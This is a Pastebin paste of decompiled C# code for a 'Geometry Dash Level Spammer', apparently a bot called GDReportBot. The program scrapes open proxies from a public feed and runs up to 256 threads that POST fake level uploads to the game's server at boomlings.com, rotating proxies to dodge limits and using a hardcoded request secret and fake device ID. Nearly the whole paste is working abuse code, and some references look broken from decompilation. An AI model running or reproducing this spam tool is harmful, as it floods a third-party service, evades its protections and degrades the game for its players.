Advertisement
ChrisTheos123

Geometry Dash Level Spammer By ChrisTheos123

Jul 9th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.83 KB | None | 0 0
  1. // Decompiled with JetBrains decompiler
  2. // Type: GDReportBot.Module1
  3. // Assembly: GDReportBot, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
  4. // MVID: 74856C14-51B5-4A41-8C5C-573DF529EA0B
  5. // Assembly location: C:\Users\Helen\Desktop\GDReportBot by MikeWe.exe
  6.  
  7. using Microsoft.VisualBasic.CompilerServices;
  8. using System;
  9. using System.Collections;
  10. using System.Collections.Generic;
  11. using System.IO;
  12. using System.Net;
  13. using System.Text;
  14. using System.Text.RegularExpressions;
  15. using System.Threading;
  16.  
  17. namespace GDReportBot
  18. {
  19. [StandardModule]
  20. internal sealed class Module1
  21. {
  22. private static int MaxThreads = 256;
  23. private static int Counter = 0;
  24. private static int ThreadsCompleted = 0;
  25. private static List<string> proxies = new List<string>();
  26. private static int Succes = 0;
  27. private static WebProxy myProxy;
  28.  
  29. [STAThread]
  30. public static void Main()
  31. {
  32. Console.ForegroundColor = ConsoleColor.Red;
  33. try
  34. {
  35. Console.WriteLine("GDReportBot by MikeWe Version 1.0.0");
  36. Console.WriteLine("-----------------------------------");
  37. Console.Write("MaxThreads (256 Recommended):");
  38. Module1.MaxThreads = Conversions.ToInteger(Console.ReadLine());
  39. Module1.GrabProxies();
  40. }
  41. catch (Exception ex)
  42. {
  43. ProjectData.SetProjectError(ex);
  44. Console.WriteLine("You typed something wrong, restarting...");
  45. ProjectData.ClearProjectError();
  46. }
  47. }
  48.  
  49. public static void GrabProxies()
  50. {
  51. Console.WriteLine("Collecting Fresh Proxies...");
  52. try
  53. {
  54. MatchCollection matchCollection = new Regex("[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}:[0-9]{1,4}").Matches(new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://proxyserverlist-24.blogspot.com.eg/feeds/posts/default")).GetResponse()).GetResponseStream()).ReadToEnd());
  55. try
  56. {
  57. foreach (Match match in matchCollection)
  58. Module1.proxies.Add(match.ToString());
  59. }
  60. finally
  61. {
  62. IEnumerator enumerator;
  63. if (enumerator is IDisposable)
  64. (enumerator as IDisposable).Dispose();
  65. }
  66. Console.WriteLine("Collected " + Conversions.ToString(Module1.proxies.Count) + " Proxies!");
  67. Thread.Sleep(2500);
  68. Module1.SetProxies();
  69. }
  70. catch (Exception ex)
  71. {
  72. ProjectData.SetProjectError(ex);
  73. Console.WriteLine("Something went wrong!");
  74. ProjectData.ClearProjectError();
  75. }
  76. }
  77.  
  78. public static void SetProxies()
  79. {
  80. Console.WriteLine("LevelID: " + Conversions.ToString(Module1.LevelID) + ", Proxies loaded: " + Conversions.ToString(Module1.proxies.Count));
  81. Console.Clear();
  82. Console.WriteLine("Starting Bots...");
  83. int num1 = Math.Min(Module1.proxies.Count, Module1.MaxThreads);
  84. int num2 = num1;
  85. int num3 = 0;
  86. while (num3 <= num2)
  87. {
  88. double d = (double) Module1.proxies.Count / (double) num1 * (double) num3;
  89. List<string> range = Module1.proxies.GetRange(checked ((int) Math.Round(Math.Floor(d))), checked ((int) Math.Round(unchecked (Math.Min((double) Module1.proxies.Count, d + (double) Module1.proxies.Count / (double) num1) - d))));
  90. ParameterizedThreadStart start;
  91. // ISSUE: reference to a compiler-generated field
  92. if (Module1._Closure\u0024__.\u0024IR10\u002D1 != null)
  93. {
  94. // ISSUE: reference to a compiler-generated field
  95. start = Module1._Closure\u0024__.\u0024IR10\u002D1;
  96. }
  97. else
  98. {
  99. // ISSUE: reference to a compiler-generated field
  100. Module1._Closure\u0024__.\u0024IR10\u002D1 = start = (ParameterizedThreadStart) (a0 => Module1.ReportLevel((List<string>) a0));
  101. }
  102. new Thread(start).Start((object) range);
  103. checked { ++num3; }
  104. }
  105. while (Module1.ThreadsCompleted < num1)
  106. {
  107. Thread.Sleep(250);
  108. Console.Clear();
  109. Console.WriteLine("Proxies Used [" + Conversions.ToString(Math.Round((double) Module1.Counter / (double) Module1.proxies.Count * 100.0)) + "%]");
  110. Console.WriteLine("Reports [" + Conversions.ToString(Module1.Counter) + "]");
  111. }
  112. Console.Clear();
  113. Console.WriteLine("All proxies are used! (You can close the bot now!)");
  114. }
  115.  
  116. public static void ReportLevel(List<string> ProxyList)
  117. {
  118. List<string>.Enumerator enumerator;
  119. try
  120. {
  121. enumerator = ProxyList.GetEnumerator();
  122. while (enumerator.MoveNext())
  123. {
  124. string current = enumerator.Current;
  125. try
  126. {
  127. Module1.myProxy = new WebProxy(current);
  128. byte[] bytes = new UTF8Encoding().GetBytes("gameVersion = 21 & binaryVersion = 33 & gdw = 0 & udid = S15213520027842169290697318242632921000 & userName = Player & levelID = 0 & levelName = test & levelDesc = bGV2ZWwgc3BhbW1lciB0ZXN0IGxvbA == &levelVersion = 1 & levelLength = 0 & audioTrack = 0 & auto = 0 & password = 0 & original = 0 & twoPlayer = 0 & songID = 0 & objects = 1 & coins = 0 & requestedStars = 0 & unlisted = 0 & wt = 2 & wt2 = 0 & extraString = 0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0 & seed = OOJjRb2uHo & seed2 = UFcBAw0HBgUEUAZVBQ5QBFcBBVUBVwFVBQdUClIHAQYKDwwHVVRUAg == &levelString = H4sIAAAAAAAAC6WQwQ3DMAhFF6ISHxvHUU6ZIQP8AbJChm8x7S1RU_XynwHzZHnfShewKo0wZ6G5E0hYIpuVD7ARqsqJIDyiU9mJAxwKtXsK_K - YTxVxJxduSYyxfyaK3_iI9JvGLzX6y2vahUb2FUU04ImWqPLKPE_ZeaMHtjKPykamYAzWOjKn0AREFwjEBM2lCHx5AuCfAx8eAgAA & levelInfo = H4sIAAAAAAAACzPQMzCwBkI9I0trQyBlbAnmmUN4liA5Qz1DczBlZAqmzEAUAFOmhQU4AAAA & secret = Wmfd2893gb7");
  129. HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("http://www.boomlings.com/database/uploadGJLevel21.php");
  130. httpWebRequest.Proxy = (IWebProxy) Module1.myProxy;
  131. httpWebRequest.Method = "POST";
  132. httpWebRequest.KeepAlive = true;
  133. httpWebRequest.ContentType = "application/x-www-form-urlencoded";
  134. httpWebRequest.ContentLength = (long) bytes.Length;
  135. Stream requestStream = httpWebRequest.GetRequestStream();
  136. requestStream.Write(bytes, 0, bytes.Length);
  137. requestStream.Close();
  138. if (Operators.CompareString(new StreamReader(((HttpWebResponse) httpWebRequest.GetResponse()).GetResponseStream()).ReadToEnd(), "1", false) == 0)
  139. checked { ++Module1.Succes; }
  140. }
  141. catch (Exception ex)
  142. {
  143. ProjectData.SetProjectError(ex);
  144. ProjectData.ClearProjectError();
  145. }
  146. checked { ++Module1.Counter; }
  147. }
  148. }
  149. finally
  150. {
  151. enumerator.Dispose();
  152. }
  153. checked { ++Module1.ThreadsCompleted; }
  154. }
  155. }
  156. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement